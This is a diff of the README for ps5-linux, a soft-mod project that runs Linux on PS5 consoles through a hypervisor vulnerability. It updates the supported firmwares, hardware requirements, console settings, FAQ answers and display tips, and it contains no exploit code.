 # ps5-linux
 
-**ps5-linux** leverages a patched HV vulnerability to transform your PS5 Phat console running **3.xx or 4.xx firmwares** into a highly capable Linux PC, unlocking its full hardware potential for desktop use. Powered by 8 CPU cores (16 threads) at **3.5 GHz** and a GPU at **2.23 GHz**, it provides enough performance to run Steam games and various emulators with impressive fluidity. It supports HDMI 4K60 video and audio output. Furthermore, it allows you to utilize an **M.2 SSD** as a dedicated Linux partition, as well as all USB ports on the console.

+*ps5-linux* is only supported on PS5 Phat and Slim on the following firmwares:
 
-- **3.00**, **3.10**, **3.20**, **3.21**, without M.2 support
+- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support

 Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.
 
-Support for 5.xx firmwares may be added in the future, but for those firmwares, Linux will run within the GameOS VM, thus it will have less features (still unknown what limitations there will be) and it may not perform as good.
-
-If you want to update to a specific firmware, [download the correct PUP](https://darthsternie.net/ps5-firmwares/) and follow the [official guide](https://www.playstation.com/en-us/support/hardware/reinstall-playstation-system-software-safe-mode) to upgrade your PS5.

 ## Hardwares
 
 To run *ps5-linux*, you need some required and optional hardwares:
 
 - **Required**: USB drive with minimum 64GB (ideally external SSD) to install and run Linux.
-- **Required**: USB Ethernet/WLAN adapter for internet access.
 - **Required**: USB keyboard/mouse (dongles supported too).
+- *Optional*: USB WLAN adapter for WLAN internet access.
 - *Optional*: M.2 SSD compatible on PS5 (see [official guide](https://www.playstation.com/en-us/support/hardware/ps5-install-m2-ssd)) to run Linux from SSD.
 - *Optional*: Bluetooth dongle to connect with PS5 DualSense controller.
 
 
 ## Configure PS5 settings
 
-- **Required**: Enable Rest Mode features:
+- **VERY IMPORTANT**: Enable Rest Mode features:
   - Go to `Settings` → `System` → `Power Saving` → `Features Available in Rest Mode` and set `Supply Power to USB Ports` to `Always`.
-- **Required**: Disable HDMI Device Link:
+- **VERY IMPORTANT**: Disable HDMI Device Link:
   - Go to `Settings` → `HDMI` → `Enable HDMI Device Link`
 - *Recommended*: Disable automatic updates:
   - Go to `Settings` → `System Software` → `System Software Update and Settings`
 - *Recommended*: Disable automatic error reporting:
   - Go to `Settings` → `System Software` → `Report System Software Errors Automatically`
 
+If you reset your PS5 settings or reinstall the FW, you need to reapply these settings again.

 ## FAQ
 
+- Q: Will higher >=8.00 firmwares be supported?
+  - A: No.
+- Q: Why can I not use M.2 on 3.xx?
+  - A: Because the PS5 fails to boot with it attached.
 - Q: Can I dual-boot Linux and PS5 OS?
   - A: No, this is a soft-mod. You need to re-run the exploit in order to boot into Linux.
 - Q: Can I put Linux into standby and resume?
   - A: No, this is not supported. We may however add a shutdown feature that puts your PS5 into rest-mode allowing you to relaunch Linux when powering up again.
-
 - Q: Can I continue using my PS5 if I install Linux?
   - A: Yes, the internal SSD is not modified
 - Q: Can I use the PS5's NIC/WLAN module in Linux?
-  - A: In theory yes, but someone needs to write or adapt drivers to use them.
-- Q: Will higher >=6.xx firmwares be supported?
-  - A: No.
+  - A: WLAN is only supported for Marvell chipsets at the moment. Ethernet is supported on all models.
 - Q: Does the DualSense controller work?
-  - A: Via a Bluetooth dongle. Built-in Bluetooth is not yet supported.
+  - A: Yes, via internal Bluetooth as well as Bluetooth dongle.
 - Q: What resolutions and refresh rates are supported?
-  - A: So far only 1080p, 1440p and 2160p at 60Hz. 120Hz or 30Hz may be added in the future.
-
+  - A: 1080p, 1440p and 2160p at 60Hz are broadly supported. 1440p@120Hz has been the only confirmed working on the DELL S3225QC yet. 120Hz or 30Hz may be added in the future.
+- Q: After reboot, I get a "Repairing" screen and "Your PS5 wasn't turned off properly." screen. Is that normal?
+  - A: Yes, and it's harmless.
 
 ## Tips and tricks
 
+- If you see graphical issues in your games, add the environment variable `RADV_DEBUG=nohiz` as [recommended for BC250](https://elektricm.github.io/amd-bc250-docs/drivers/environment/#critical-environment-variables) as well.
 - You can adjust the kernel cmdline in `cmdline.txt` in the FAT32 partition.
 - You can adjust the VRAM size in `vram.txt` in the FAT32 partition. By default, it uses 512MB (0x20000000) which enables [Dynamic VRAM allocation](https://elektricm.github.io/amd-bc250-docs/bios/flashing/#why-flash-the-bios).
 - Monitor hotswap may work, but it will not change resolution automatically.
+- Some monitors have a black screen if a video=DP-1: parameter is set in `cmdline.txt`. Confirmed working without `video=DP-1:1920x1080@60` on:
+  - MSI MAG274Q QD E2, DELL S2721DGF, DELL U2515H (1440p@60Hz)
+  - Possibly also: LG 27GL850, Lenovo Legion Y27q, ViewSonic Elite XG270QG
 
 Many configurations, tips and tricks from the [AMD BC250 Documentation](https://elektricm.github.io/amd-bc250-docs/) also apply to PS5.
